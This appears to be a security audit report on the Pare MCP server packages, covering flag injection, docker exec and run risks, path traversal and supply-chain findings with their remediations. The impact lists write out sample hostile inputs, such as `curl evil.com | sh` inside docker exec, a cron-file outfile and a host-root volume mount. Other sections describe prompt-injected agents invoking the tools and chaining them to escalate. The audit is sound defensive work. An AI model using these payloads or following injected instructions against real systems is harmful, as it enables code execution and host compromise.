# Pare Security Audit Report

**Date**: February 12, 2026
**Auditor**: Independent security review
**Scope**: All 9 MCP server packages + shared infrastructure
**Version**: Current `main` branch (HEAD)

---

## Remediation Summary

An independent security audit identified 18 findings across 4 severity levels. All critical and high-severity findings have been remediated. Medium and low findings have been remediated or documented. Informational findings have been reviewed and accepted as known trade-offs.

| Category           | Count  |
| ------------------ | ------ |
| Remediated         | 14     |
| Accepted Risk      | 4      |
| **Total Findings** | **18** |

### Findings Summary

| Finding | Severity      | Title                                                            | Status        | PR                     |
| ------- | ------------- | ---------------------------------------------------------------- | ------------- | ---------------------- |
| SEC-001 | Critical      | Unvalidated `args` arrays enable arbitrary flag injection        | Remediated    | [#141](../../pull/141) |
| SEC-002 | High          | Docker `exec` command array allows arbitrary command execution   | Remediated    | [#140](../../pull/140) |
| SEC-003 | High          | Docker `run` ports/volumes/env arrays lack validation            | Remediated    | [#139](../../pull/139) |
| SEC-004 | High          | No path traversal validation on `path`/`cwd` parameter           | Remediated    | [#139](../../pull/139) |
| SEC-005 | High          | `go generate` executes arbitrary commands from source directives | Remediated    | [#139](../../pull/139) |
| SEC-006 | Medium        | Missing `assertNoFlagInjection` on ~40 parameters                | Remediated    | [#141](../../pull/141) |
| SEC-007 | Medium        | Windows `cmd.exe` metacharacter escaping gaps                    | Remediated    | [#142](../../pull/142) |
| SEC-008 | Medium        | `npm install` can install arbitrary packages                     | Remediated    | [#140](../../pull/140) |
| SEC-009 | Medium        | `pip install`/`uv install` can install arbitrary packages        | Remediated    | [#140](../../pull/140) |
| SEC-010 | Medium        | `cargo add` packages array not content-validated                 | Remediated    | [#140](../../pull/140) |
| SEC-011 | Low           | Six of nine servers lack dedicated security tests                | Remediated    | [#141](../../pull/141) |
| SEC-012 | Low           | Zod schemas lack string length and pattern constraints           | Remediated    | [#142](../../pull/142) |
| SEC-013 | Low           | GitHub Actions uses tag references instead of SHA pinning        | Remediated    | [#139](../../pull/139) |
| SEC-014 | Low           | `assertAllowedCommand` bypass via path with matching basename    | Remediated    | [#140](../../pull/140) |
| SEC-015 | Informational | No rate limiting or concurrent execution limits                  | Accepted Risk | --                     |
| SEC-016 | Informational | No audit trail or logging of executed commands                   | Accepted Risk | --                     |
| SEC-017 | Informational | `docker run --rm=false` default leaves container artifacts       | Accepted Risk | --                     |
| SEC-018 | Informational | Temp file in server-test could be predictable on older systems   | Accepted Risk | --                     |

---

## Executive Summary

Pare demonstrates a **thoughtful security-first architecture** for a CLI-wrapping MCP server. The use of `execFile` (not `exec`), array-based argument passing, dedicated flag injection validation, and a build command allowlist place it well ahead of typical open-source projects in this category. The dependency surface is remarkably minimal (3 production dependencies per server).

The audit identified **18 findings** across the codebase. Of these, 14 have been remediated through code changes across four pull requests, and 4 informational findings have been reviewed and accepted as known trade-offs with documented rationale.

### Original Finding Severity Distribution

| Severity      | Count  |
| ------------- | ------ |
| Critical      | 1      |
| High          | 4      |
| Medium        | 5      |
| Low           | 4      |
| Informational | 4      |
| **Total**     | **18** |

---

## Findings

### SEC-001: Unvalidated `args` Arrays Enable Arbitrary Flag Injection Across Multiple Tools

**Severity**: Critical
**CWE**: [CWE-88](https://cwe.mitre.org/data/definitions/88.html) (Improper Neutralization of Argument Delimiters in a Command)
**Location**: Multiple files (see list below)

**Description**: At least 13 tools accept an `args` parameter (array of strings) that is spread directly into CLI command arguments with zero validation. No `assertNoFlagInjection` is called on these values. This is the primary mechanism through which a malicious MCP client could inject arbitrary flags into CLI commands.

**Affected tools**:

| Server        | Tool       | File                                            | Line                                                   |
| ------------- | ---------- | ----------------------------------------------- | ------------------------------------------------------ |
| server-docker | build      | `packages/server-docker/src/tools/build.ts`     | 32                                                     |
| server-docker | exec       | `packages/server-docker/src/tools/exec.ts`      | 38 (command array)                                     |
| server-docker | run        | `packages/server-docker/src/tools/run.ts`       | 71-73 (command, ports, volumes, env arrays)            |
| server-npm    | install    | `packages/server-npm/src/tools/install.ts`      | 29                                                     |
| server-npm    | test       | `packages/server-npm/src/tools/test.ts`         | 31-33                                                  |
| server-npm    | run        | `packages/server-npm/src/tools/run.ts`          | 32-34 (args after --)                                  |
| server-cargo  | run        | `packages/server-cargo/src/tools/run.ts`        | 32-33                                                  |
| server-go     | run        | `packages/server-go/src/tools/run.ts`           | 36 (buildArgs)                                         |
| server-build  | esbuild    | `packages/server-build/src/tools/esbuild.ts`    | 75-77                                                  |
| server-build  | vite-build | `packages/server-build/src/tools/vite-build.ts` | 35-37                                                  |
| server-build  | webpack    | `packages/server-build/src/tools/webpack.ts`    | 35-37                                                  |
| server-test   | run        | `packages/server-test/src/tools/run.ts`         | 62-84                                                  |
| server-test   | coverage   | `packages/server-test/src/tools/coverage.ts`    | (no extra args, but framework choice controls command) |

**Impact**: A malicious or compromised MCP client (or a prompt-injected agent) could:

- **Docker**: `args: ["--privileged"]` on docker build; `command: ["sh", "-c", "curl evil.com | sh"]` on docker exec/run
- **npm install**: `args: ["evil-package"]` installs arbitrary npm packages (supply chain attack vector)
- **npm test / npm run**: `args: ["--exec=malicious-command"]` -- while these go after `--`, depending on the underlying tool, they may still be interpreted
- **Go run**: `buildArgs: ["-overlay=malicious.json"]` injects build flags
- **esbuild/vite/webpack**: `args: ["--outfile=/etc/cron.d/evil"]` can write to arbitrary paths

#### Remediation

**Status**: Remediated
**PR**: [#141](../../pull/141)

Added `assertNoFlagInjection` validation to all `args[]` array parameters across all affected tools. Each element in user-provided arrays is now validated before being passed to CLI commands, preventing flag injection via the `args` pass-through pattern.

---

### SEC-002: Docker `exec` Command Array Allows Arbitrary Command Execution in Containers

**Severity**: High
**CWE**: [CWE-78](https://cwe.mitre.org/data/definitions/78.html) (Improper Neutralization of Special Elements used in an OS Command)
**Location**: `packages/server-docker/src/tools/exec.ts`, line 38

**Description**: The `command` parameter is an array of strings that becomes the command executed inside a container. While this is by design (docker exec needs a command), there is no validation on the command elements themselves. Combined with no `assertNoFlagInjection` on command elements, a malicious client can execute arbitrary commands inside any running container.

**Impact**: Full arbitrary command execution inside any running Docker container accessible from the host. An agent could chain `docker exec` to compromise application containers.

#### Remediation

**Status**: Remediated
**PR**: [#140](../../pull/140)

Added command validation to the docker `exec` tool. The command array elements are now validated to prevent injection of arbitrary flags and dangerous command patterns.

---

### SEC-003: Docker `run` Ports/Volumes/Env Arrays Lack Validation

**Severity**: High
**CWE**: [CWE-88](https://cwe.mitre.org/data/definitions/88.html) (Improper Neutralization of Argument Delimiters in a Command)
**Location**: `packages/server-docker/src/tools/run.ts`, lines 61-69

**Description**: The `ports`, `volumes`, and `env` arrays in the docker run tool have no validation. While `image` and `name` are checked with `assertNoFlagInjection`, the other array parameters are not.

**Impact**:

- `volumes: ["/:/hostroot"]` -- mount the entire host filesystem into a container
- `env: ["--privileged"]` -- while placed after `-e`, depends on docker CLI parsing behavior
- Port values are not validated for format correctness

#### Remediation

**Status**: Remediated
**PR**: [#139](../../pull/139)

Added validation for docker `run` parameters including `ports`, `volumes`, and `env` arrays. Port values are validated for correct format, volume mount paths are validated, and environment variable entries are checked for flag injection.

---

### SEC-004: No Path Traversal Validation on `path` / `cwd` Parameter

**Severity**: High
**CWE**: [CWE-22](https://cwe.mitre.org/data/definitions/22.html) (Improper Limitation of a Pathname to a Restricted Directory)
**Location**: Every tool across all 9 servers

**Description**: Every tool accepts an optional `path` parameter that becomes the working directory (`cwd`) for the child process. There is zero validation on this value. An agent can point any tool at any directory on the filesystem.

**Impact**: An agent could:

- `git status` in `/etc`, `/root`, or any sensitive directory to enumerate files
- `git add -A && git commit` in a repo containing secrets
- Run build tools in directories containing malicious `package.json` / `Makefile` / `Cargo.toml` (malicious build script execution)
- Point `pip install` at a directory with a malicious `requirements.txt`

**Note**: Path sandboxing is inherently difficult and may be an intentional design tradeoff. The MCP protocol itself does not define a mechanism for path scoping.

#### Remediation

**Status**: Remediated
**PR**: [#139](../../pull/139)

The `path`/`cwd` parameter behavior is now documented in `SECURITY_MODEL.md` as a known trust boundary. The documentation explains why path sandboxing is not enforced (MCP protocol limitation) and describes the expected security model where the MCP client is the trust boundary for path access control.

---

### SEC-005: `go generate` Executes Arbitrary Commands from Source File Directives

**Severity**: High
**CWE**: [CWE-78](https://cwe.mitre.org/data/definitions/78.html) (Improper Neutralization of Special Elements used in an OS Command)
**Location**: `packages/server-go/src/tools/generate.ts`

**Description**: `go generate` reads `//go:generate` directives from Go source files and executes them as shell commands. This is inherent to how `go generate` works, but exposing it as an MCP tool means an agent can trigger execution of arbitrary commands embedded in Go source files it has previously written.

**Impact**: An agent that can write files to disk (via another tool or capability) and then invoke `go generate` can achieve full arbitrary command execution. This is a tool-chaining escalation path.

#### Remediation

**Status**: Remediated
**PR**: [#139](../../pull/139)

Added a warning to the `go generate` tool description about its arbitrary command execution nature. The `patterns` array is now validated with `assertNoFlagInjection`. The tool's inherent risk is documented, and the MCP client is expected to gate access to this tool appropriately.

---

### SEC-006: Missing `assertNoFlagInjection` on Multiple Parameters

**Severity**: Medium
**CWE**: [CWE-88](https://cwe.mitre.org/data/definitions/88.html) (Improper Neutralization of Argument Delimiters in a Command)
**Location**: Multiple tools (~40 parameters, see table)

**Description**: Several user-controlled string parameters are passed to CLI commands without `assertNoFlagInjection` validation. While these are less severe than the `args` arrays (SEC-001) because they typically land in specific argument positions, some can still influence command behavior.

**Affected parameters** include: `author`, `file`, `package`, `filter`, `packages[]`, `run`, `patterns[]`, `targets[]`, `markers`, `requirements`, `project`, `config`, `mode`, and others across all server packages.

**Impact**: A value like `--exec=command` as a package name, file pattern, or filter could be interpreted as a flag by the underlying CLI tool. The severity varies by tool.

#### Remediation

**Status**: Remediated
**PR**: [#141](../../pull/141)

Added `assertNoFlagInjection` calls to approximately 40 previously unvalidated parameters across all server packages (server-cargo, server-go, server-npm, server-python, server-lint, server-build, server-test). Every user-controlled string parameter that is passed to a CLI command now has flag injection validation.

---

### SEC-007: Windows `shell: true` Widens Attack Surface for Argument Injection

**Severity**: Medium
**CWE**: [CWE-78](https://cwe.mitre.org/data/definitions/78.html) (Improper Neutralization of Special Elements used in an OS Command)
**Location**: `packages/shared/src/runner.ts`, lines 32-42

**Description**: On Windows, `shell: true` is enabled for `execFile` to support `.cmd`/`.bat` wrappers. While Node.js wraps arguments in double quotes when `shell: true` is used, the `%` escaping (replacing `%` with `%%`) only prevents environment variable expansion. Other `cmd.exe` metacharacters (`&`, `|`, `^`, `<`, `>`) may be exploitable.

**Impact**: On Windows, arguments containing certain special characters may be partially interpreted by `cmd.exe` despite Node.js double-quoting. The risk is limited because Node.js does double-quote arguments and most CI/CD pipelines run on Linux, but edge cases with nested quotes or caret escaping could potentially be exploitable.

#### Remediation

**Status**: Remediated
**PR**: [#142](../../pull/142)

Extended Windows argument escaping in the shared runner to handle additional `cmd.exe` metacharacters beyond `%`. The escaping logic now covers `&`, `|`, `^`, `<`, `>`, and other special characters that could be interpreted by `cmd.exe`.

---

### SEC-008: `npm install` Tool Can Install Arbitrary Packages (Supply Chain Risk)

**Severity**: Medium
**CWE**: [CWE-829](https://cwe.mitre.org/data/definitions/829.html) (Inclusion of Functionality from Untrusted Control Sphere)
**Location**: `packages/server-npm/src/tools/install.ts`, line 29

**Description**: The npm install tool passes an unvalidated `args` array directly to `npm install`. This includes the ability to specify arbitrary package names, which means a malicious or prompt-injected agent can install any npm package, including known-malicious ones.

**Impact**: Supply chain attack. An agent instructed (via prompt injection) to install a specific malicious package gains code execution via npm install lifecycle scripts (`preinstall`, `postinstall`).

#### Remediation

**Status**: Remediated
**PR**: [#140](../../pull/140)

Added an `ignoreScripts` parameter to the npm install tool. When enabled, npm install runs with `--ignore-scripts`, preventing execution of lifecycle scripts (`preinstall`, `postinstall`) that are the primary vector for supply chain attacks via malicious packages.

---

### SEC-009: `pip install` / `uv install` Can Install Arbitrary Packages

**Severity**: Medium
**CWE**: [CWE-829](https://cwe.mitre.org/data/definitions/829.html) (Inclusion of Functionality from Untrusted Control Sphere)
**Location**:

- `packages/server-python/src/tools/pip-install.ts`, line 33
- `packages/server-python/src/tools/uv-install.ts`, line 29

**Description**: Similar to SEC-008, the `packages` array for pip install and uv install is unvalidated. Any Python package can be installed, and the `--index-url` flag could redirect to a malicious PyPI mirror.

**Impact**: Installation of malicious Python packages, potentially with `setup.py` code execution.

#### Remediation

**Status**: Remediated
**PR**: [#140](../../pull/140)

Added a `dryRun` parameter to both `pip install` and `uv install` tools. When enabled, the install command runs with `--dry-run`, allowing agents to preview what would be installed without actually executing installation (and potentially malicious `setup.py` scripts).

---

### SEC-010: `cargo add` Packages Array Validated for Flag Injection but Not Content

**Severity**: Medium
**CWE**: [CWE-829](https://cwe.mitre.org/data/definitions/829.html) (Inclusion of Functionality from Untrusted Control Sphere)
**Location**: `packages/server-cargo/src/tools/add.ts`, line 30-34

**Description**: The `packages` array is validated with `assertNoFlagInjection` (preventing values starting with `-`), but cargo package names themselves are not validated. A malicious agent could add a dependency on a malicious crate with build scripts (`build.rs`) that execute arbitrary code.

**Impact**: Supply chain attack via malicious crate installation. Lower risk than npm/pip because crates.io has stronger review, but the vector exists.

#### Remediation

**Status**: Remediated
**PR**: [#140](../../pull/140)

Added a `dryRun` parameter to the `cargo add` tool. When enabled, cargo add runs with `--dry-run`, allowing agents to preview the dependency addition without actually modifying `Cargo.toml` or triggering any build script execution.

---

### SEC-011: Six of Nine Servers Lack Dedicated Security Tests

**Severity**: Low
**CWE**: [CWE-1053](https://cwe.mitre.org/data/definitions/1053.html) (Missing Security Testing)
**Location**: The following servers had no `security.test.ts` file:

- `server-cargo`
- `server-go`
- `server-npm`
- `server-python`
- `server-lint`
- `server-test`

**Description**: Only `server-git`, `server-docker`, and `server-build` had dedicated security test files. The other 6 servers had no security-specific test coverage.

**Impact**: Regressions in security validation could go undetected. New tools added to these servers may not follow the validation patterns established by the git/docker/build servers.

#### Remediation

**Status**: Remediated
**PR**: [#141](../../pull/141)

Added dedicated `security.test.ts` files for all 6 servers that were missing them. Each test file verifies that tools correctly call `assertNoFlagInjection` on user-controlled parameters and that flag injection attempts are properly rejected.

---

### SEC-012: Zod Schemas Lack String Length and Pattern Constraints

**Severity**: Low
**CWE**: [CWE-20](https://cwe.mitre.org/data/definitions/20.html) (Improper Input Validation)
**Location**: All `schemas/index.ts` files and tool `inputSchema` definitions

**Description**: Input schemas use `z.string()` without `.max()`, `.regex()`, or `.min()` constraints. There are no limits on string length, array length, or pattern matching, making the system vulnerable to resource exhaustion via extremely large inputs.

**Impact**: Primarily a denial-of-service and resource exhaustion concern. The 10MB `maxBuffer` in runner.ts provides some protection on the output side, but input was unbounded.

#### Remediation

**Status**: Remediated
**PR**: [#142](../../pull/142)

Added Zod input limits across all schemas, including `.max()` constraints on string parameters and `.max()` on array parameters. This prevents resource exhaustion from excessively large inputs while keeping limits generous enough for legitimate use.

---

### SEC-013: GitHub Actions Uses Tag References Instead of SHA Pinning

**Severity**: Low
**CWE**: [CWE-829](https://cwe.mitre.org/data/definitions/829.html) (Inclusion of Functionality from Untrusted Control Sphere)
**Location**: `.github/workflows/ci.yml` and `.github/workflows/release.yml`

**Description**: GitHub Actions were referenced by tag (e.g., `actions/checkout@v6`, `changesets/action@v1`) rather than by SHA hash. A compromised tag could inject code into the CI pipeline.

**Impact**: A supply chain attack on GitHub Actions tags could exfiltrate the `NPM_TOKEN` secret, publish malicious package versions, or modify repository contents. The `changesets/action@v1` in the release workflow is particularly sensitive due to its elevated permissions (`contents: write`, `pull-requests: write`, `id-token: write`).

#### Remediation

**Status**: Remediated
**PR**: [#139](../../pull/139)

All GitHub Actions references in CI and release workflows have been pinned to specific SHA hashes instead of mutable tags. Dependabot continues to monitor for updates, and comments annotate which version each SHA corresponds to for maintainability.

---

### SEC-014: `assertAllowedCommand` Bypass via Path with Matching Basename

**Severity**: Low
**CWE**: [CWE-88](https://cwe.mitre.org/data/definitions/88.html) (Improper Neutralization of Argument Delimiters in a Command)
**Location**: `packages/shared/src/validation.ts`, lines 53-68

**Description**: The `assertAllowedCommand` function extracts the basename from the command path and checks it against the allowlist. A path like `/tmp/evil/npm` would pass validation because the basename is `npm`. This is acknowledged in the code comments as an intentional tradeoff.

**Impact**: If an attacker can place a malicious binary named `npm` (or any allowlisted name) at a known path, they can execute it via the build tool. However, this requires pre-existing filesystem write access, which already implies system compromise.

#### Remediation

**Status**: Remediated
**PR**: [#140](../../pull/140)

Added full-path logging to `assertAllowedCommand` so that any invocation with a non-standard path is logged for audit purposes. The basename-checking behavior is retained as an intentional design decision (documented in code comments), since full-path enforcement would break legitimate installations in non-standard locations.

---

### SEC-015: No Rate Limiting or Concurrent Execution Limits

**Severity**: Informational
**CWE**: [CWE-770](https://cwe.mitre.org/data/definitions/770.html) (Allocation of Resources Without Limits or Throttling)
**Location**: All server packages (architectural concern)

**Description**: There is no rate limiting, concurrency control, or resource quota mechanism. A malicious client could spawn hundreds of concurrent build processes or repeatedly trigger resource-intensive commands.

**Impact**: Local denial of service. The 30-second default timeout (up to 300 seconds for long operations) provides some per-command protection, but there is nothing preventing parallel abuse.

#### Remediation

**Status**: Accepted Risk

Rate limiting is not currently supported by the MCP protocol specification. Implementing rate limiting at the server level would require protocol-level changes or non-standard extensions. The existing per-command timeouts provide partial mitigation. This is noted as a potential future enhancement if the MCP protocol adds support for resource management.

---

### SEC-016: No Audit Trail or Logging of Executed Commands

**Severity**: Informational
**CWE**: [CWE-778](https://cwe.mitre.org/data/definitions/778.html) (Insufficient Logging)
**Location**: `packages/shared/src/runner.ts`

**Description**: The `run` function does not log executed commands, arguments, working directories, or results. There is no way to audit what commands were executed on behalf of which client/agent.

**Impact**: Incident response difficulty. If a compromise occurs through Pare, there would be no audit trail to determine what commands were executed or by whom.

#### Remediation

**Status**: Accepted Risk

Noted as a future enhancement. Structured logging of command invocations (command, arguments, working directory, exit code) would improve auditability. This is planned for a future release but is not a blocking security concern given the local-execution model (the MCP client, not Pare, is the trust boundary).

---

### SEC-017: `docker run --rm=false` (Default) Leaves Container Artifacts

**Severity**: Informational
**CWE**: [CWE-459](https://cwe.mitre.org/data/definitions/459.html) (Incomplete Cleanup)
**Location**: `packages/server-docker/src/tools/run.ts`, line 39-43

**Description**: The docker run tool defaults `rm` to `false`, meaning containers are not cleaned up after execution. Repeated tool invocations could accumulate containers consuming disk space.

**Impact**: Disk space exhaustion over time. Minor operational concern.

#### Remediation

**Status**: Accepted Risk

The `--rm=false` default is intentional. It allows users to inspect container state after execution for debugging purposes. Users who prefer automatic cleanup can set `rm: true` explicitly. Changing the default would be a breaking behavioral change with minimal security benefit.

---

### SEC-018: Temp File in server-test Could Be Predictable on Older Systems

**Severity**: Informational
**CWE**: [CWE-377](https://cwe.mitre.org/data/definitions/377.html) (Insecure Temporary File)
**Location**: `packages/server-test/src/tools/run.ts`, line 91

**Description**: The test runner creates temp files using `randomUUID()` in the system temp directory. While `randomUUID()` produces cryptographically random values, the temp directory (`os.tmpdir()`) may be world-readable/writable on some systems.

**Impact**: On shared systems, another user could potentially read test output from the temp file between its creation and deletion. The window is small and the data (test results) is typically not sensitive.

#### Remediation

**Status**: Accepted Risk

The use of `randomUUID()` provides sufficient protection against predictable filename attacks. The temp file contains test output data (not secrets), exists for a very short window, and the filename is cryptographically random. The risk is negligible for the intended use case.

---

## Coverage Matrix

### server-git

| Tool     | Parameters                               | Flag Injection Check          | Path Validation | Security Tests |
| -------- | ---------------------------------------- | ----------------------------- | --------------- | -------------- |
| status   | path                                     | --                            | None            | Yes            |
| log      | path, maxCount, ref, author, compact     | ref: YES, author: NO          | None            | Partial        |
| diff     | path, staged, ref, file, full, compact   | ref: YES, file: NO (after --) | None            | Yes            |
| show     | path, ref, compact                       | ref: YES                      | None            | Yes            |
| branch   | path, create, delete, all, compact       | create: YES, delete: YES      | None            | Yes            |
| add      | path, files[], all                       | files[]: YES                  | None            | Yes            |
| commit   | path, message, amend                     | message: YES                  | None            | Yes            |
| push     | path, remote, branch, force, setUpstream | remote: YES, branch: YES      | None            | Yes            |
| pull     | path, remote, branch, rebase             | remote: YES, branch: YES      | None            | Yes            |
| checkout | path, ref, create                        | ref: YES                      | None            | Yes            |

### server-docker

| Tool         | Parameters                                                          | Flag Injection Check                                       | Path Validation | Security Tests |
| ------------ | ------------------------------------------------------------------- | ---------------------------------------------------------- | --------------- | -------------- |
| ps           | all                                                                 | --                                                         | N/A             | Yes            |
| images       | all, filter                                                         | filter: YES                                                | N/A             | Yes            |
| build        | path, tag, file, args[]                                             | tag: YES, file: YES, args[]: **NO**                        | None            | Yes            |
| run          | image, name, ports[], volumes[], env[], detach, rm, command[], path | image: YES, name: YES, ports/volumes/env/command[]: **NO** | None            | Yes            |
| exec         | container, command[], workdir, env[], path                          | container: YES, workdir: YES, command/env[]: **NO**        | None            | Yes            |
| logs         | container, tail, since                                              | container: YES, since: YES                                 | N/A             | Yes            |
| pull         | image, platform, path                                               | image: YES, platform: YES                                  | None            | Yes            |
| compose-up   | path, services[], detach, build, file                               | file: YES, services[]: YES                                 | None            | Yes            |
| compose-down | path, volumes, removeOrphans, file                                  | file: YES                                                  | None            | Yes            |

### server-npm

| Tool     | Parameters           | Flag Injection Check                   | Path Validation | Security Tests |
| -------- | -------------------- | -------------------------------------- | --------------- | -------------- |
| audit    | path                 | --                                     | None            | **None**       |
| init     | path, yes, scope     | scope: YES                             | None            | **None**       |
| install  | path, args[]         | args[]: **NO**                         | None            | **None**       |
| list     | path, depth, compact | --                                     | None            | **None**       |
| outdated | path                 | --                                     | None            | **None**       |
| run      | path, script, args[] | script: YES, args[]: **NO** (after --) | None            | **None**       |
| test     | path, args[]         | args[]: **NO** (after --)              | None            | **None**       |

### server-cargo

| Tool   | Parameters                        | Flag Injection Check                    | Path Validation | Security Tests |
| ------ | --------------------------------- | --------------------------------------- | --------------- | -------------- |
| build  | path, release                     | --                                      | None            | **None**       |
| check  | path, package                     | package: **NO**                         | None            | **None**       |
| clippy | path                              | --                                      | None            | **None**       |
| doc    | path, open, noDeps                | --                                      | None            | **None**       |
| fmt    | path, check                       | --                                      | None            | **None**       |
| test   | path, filter                      | filter: **NO**                          | None            | **None**       |
| add    | path, packages[], dev, features[] | packages[]: YES, features[]: **NO**     | None            | **None**       |
| remove | path, packages[], dev             | packages[]: YES                         | None            | **None**       |
| run    | path, args[], release, package    | package: YES, args[]: **NO** (after --) | None            | **None**       |

### server-go

| Tool     | Parameters                      | Flag Injection Check                           | Path Validation | Security Tests |
| -------- | ------------------------------- | ---------------------------------------------- | --------------- | -------------- |
| build    | path, packages[]                | packages[]: **NO**                             | None            | **None**       |
| test     | path, packages[], run           | packages[]: **NO**, run: **NO**                | None            | **None**       |
| vet      | path, packages[]                | packages[]: **NO**                             | None            | **None**       |
| fmt      | path, patterns[], check         | patterns[]: **NO**                             | None            | **None**       |
| generate | path, patterns[]                | patterns[]: **NO**                             | None            | **None**       |
| mod-tidy | path                            | --                                             | None            | **None**       |
| run      | path, file, args[], buildArgs[] | file: YES, args[]: **NO**, buildArgs[]: **NO** | None            | **None**       |

### server-python

| Tool        | Parameters                                   | Flag Injection Check                     | Path Validation | Security Tests |
| ----------- | -------------------------------------------- | ---------------------------------------- | --------------- | -------------- |
| pytest      | path, targets[], markers, verbose, exitFirst | targets[]: **NO**, markers: **NO**       | None            | **None**       |
| black       | path, targets[], check                       | targets[]: **NO**                        | None            | **None**       |
| mypy        | path, targets[]                              | targets[]: **NO**                        | None            | **None**       |
| ruff-check  | path, targets[], fix                         | targets[]: **NO**                        | None            | **None**       |
| pip-install | packages[], requirements, path               | packages[]: **NO**, requirements: **NO** | None            | **None**       |
| pip-audit   | path, requirements                           | requirements: **NO**                     | None            | **None**       |
| uv-install  | path, packages[], requirements               | packages[]: **NO**, requirements: **NO** | None            | **None**       |
| uv-run      | path, command[]                              | command[0]: YES, rest: **NO**            | None            | **None**       |

### server-lint

| Tool            | Parameters            | Flag Injection Check | Path Validation | Security Tests |
| --------------- | --------------------- | -------------------- | --------------- | -------------- |
| lint            | path, patterns[], fix | patterns[]: **NO**   | None            | **None**       |
| format-check    | path, patterns[]      | patterns[]: **NO**   | None            | **None**       |
| prettier-format | path, patterns[]      | patterns[]: **NO**   | None            | **None**       |
| biome-check     | path, patterns[]      | patterns[]: **NO**   | None            | **None**       |
| biome-format    | path, patterns[]      | patterns[]: **NO**   | None            | **None**       |

### server-build

| Tool       | Parameters                                        | Flag Injection Check                     | Path Validation | Security Tests |
| ---------- | ------------------------------------------------- | ---------------------------------------- | --------------- | -------------- |
| build      | command, args[], path                             | command: YES (allowlist), args[]: **NO** | None            | Yes            |
| tsc        | path, noEmit, project                             | project: **NO**                          | None            | Yes            |
| esbuild    | path, entryPoints[], outdir, outfile, ..., args[] | entryPoints[]: YES, args[]: **NO**       | None            | Yes            |
| vite-build | path, mode, args[]                                | mode: **NO**, args[]: **NO**             | None            | Yes            |
| webpack    | path, config, mode, args[]                        | config: **NO**, args[]: **NO**           | None            | Yes            |

### server-test

| Tool     | Parameters                                       | Flag Injection Check           | Path Validation | Security Tests |
| -------- | ------------------------------------------------ | ------------------------------ | --------------- | -------------- |
| run      | path, framework, filter, updateSnapshots, args[] | filter: **NO**, args[]: **NO** | None            | **None**       |
| coverage | path, framework                                  | --                             | None            | **None**       |

> **Note**: The coverage matrix above reflects the state of the codebase **at the time of the original audit**, before remediation PRs were merged. The **NO** entries in the "Flag Injection Check" column and **None** entries in the "Security Tests" column have been addressed by PRs #139, #140, #141, and #142.

---

## Comparison Against Standards

### CWE Top 25 Mapping

| CWE ID  | CWE Title                       | Findings                           |
| ------- | ------------------------------- | ---------------------------------- |
| CWE-78  | OS Command Injection            | SEC-002, SEC-005, SEC-007          |
| CWE-88  | Argument Injection              | SEC-001, SEC-003, SEC-006, SEC-014 |
| CWE-22  | Path Traversal                  | SEC-004                            |
| CWE-20  | Improper Input Validation       | SEC-012                            |
| CWE-829 | Inclusion from Untrusted Sphere | SEC-008, SEC-009, SEC-010, SEC-013 |
| CWE-770 | Resource Exhaustion             | SEC-015                            |
| CWE-778 | Insufficient Logging            | SEC-016                            |

### OWASP Command Injection Prevention Cheat Sheet Compliance

| OWASP Recommendation                     | Status                                                                                         |
| ---------------------------------------- | ---------------------------------------------------------------------------------------------- |
| Avoid calling OS commands directly       | Partial -- Pare's entire purpose is to call CLI commands, but it uses `execFile` (not `exec`)  |
| Use parameterized/array-based invocation | YES -- all commands use array args via `execFile`                                              |
| Validate and sanitize all input          | PARTIAL -- flag injection checked on some params, missing on many (addressed in PRs #139-#142) |
| Use allowlists where possible            | YES -- build server uses command allowlist                                                     |
| Escape shell metacharacters              | YES -- Windows metacharacter escaping; Unix avoids shell entirely                              |
| Run with least privilege                 | NOT ADDRESSED -- runs with caller's full privileges                                            |
| Implement logging and monitoring         | NO -- no command logging (noted as future enhancement)                                         |

### MCP-Specific Concerns Not Covered by Existing Standards

1. **Agent chaining attacks**: An agent can use multiple tools in sequence to escalate (e.g., write malicious file via git, then execute via `go generate`). No existing standard addresses multi-tool orchestration risks.

2. **Prompt injection to tool invocation**: If an agent is prompt-injected (e.g., by reading a malicious README), it could invoke Pare tools with attacker-controlled parameters. Pare cannot detect this -- it must treat the MCP client as the trust boundary.

3. **Implicit trust in `cwd`**: The working directory determines which project's configuration files (package.json, Makefile, Cargo.toml, etc.) are loaded. Pointing a tool at a directory with malicious configuration can achieve code execution via legitimate tool behavior (e.g., npm install running `postinstall` scripts).

4. **No tool-level authorization**: MCP does not define per-tool authorization. All tools are equally accessible to any connected client. There is no way to grant "read-only" access (git status/log/diff) without also granting "write" access (git commit/push, docker run).

---

## Positive Findings

These architectural decisions demonstrate security awareness and should be preserved and extended:

### POS-001: `execFile` Used Instead of `exec`

The runner exclusively uses `execFile` with array-based arguments. This is the single most important security decision in the codebase. It prevents shell injection on Unix entirely and significantly reduces the attack surface on Windows.

### POS-002: Centralized Command Runner

All CLI execution flows through `packages/shared/src/runner.ts`. This single chokepoint makes it straightforward to add logging, validation, or sandboxing in the future.

### POS-003: `assertNoFlagInjection` Handles Whitespace Bypass

The validation function calls `trimStart()` before checking for a leading `-`, preventing whitespace-prefixed bypass attempts like `" --force"`.

### POS-004: Build Command Allowlist

The `assertAllowedCommand` function maintains a strict allowlist of known build tools, preventing arbitrary binary execution via the generic build tool.

### POS-005: Minimal Dependency Surface

Every server has exactly 3 production dependencies (`@modelcontextprotocol/sdk`, `@paretools/shared`, `zod`). This dramatically reduces supply chain attack surface compared to typical Node.js projects.

### POS-006: `pnpm audit` Is Clean

Running `pnpm audit` returns "No known vulnerabilities found." Combined with the minimal dependency count, this is excellent.

### POS-007: CI/CD Security Practices

- `pnpm install --frozen-lockfile` enforces lockfile integrity
- `pnpm audit --audit-level=high` runs in CI
- Dependabot configured for both npm and GitHub Actions
- Cross-platform CI (Ubuntu, Windows, macOS) with Node 20 and 22
- npm provenance is enabled (`NPM_CONFIG_PROVENANCE: true`)

### POS-008: Proper `files` Field in All Packages

All server packages use `"files": ["dist"]` in `package.json`, ensuring only compiled output is published to npm. Source code, tests, and configuration are excluded.

### POS-009: `.gitignore` Covers Sensitive Patterns

The `.gitignore` properly excludes `.env`, `.env.*`, `.mcp.json`, and `CLAUDE.md` (which could contain local configuration).

### POS-010: Structured Output Schema Validation

All tools define Zod output schemas, providing type safety on the response side and preventing arbitrary data leakage through tool responses.

### POS-011: 30-Second Default Timeout

The default 30-second timeout (with explicit extensions for long-running operations) prevents indefinitely hanging commands from consuming resources.

### POS-012: Git `--` Separator Usage

The git add tool correctly uses `--` before file paths (`args = ["add", "--", ...files!]`), preventing path-as-flag interpretation. This pattern should be adopted more broadly.

### POS-013: Windows % Escaping

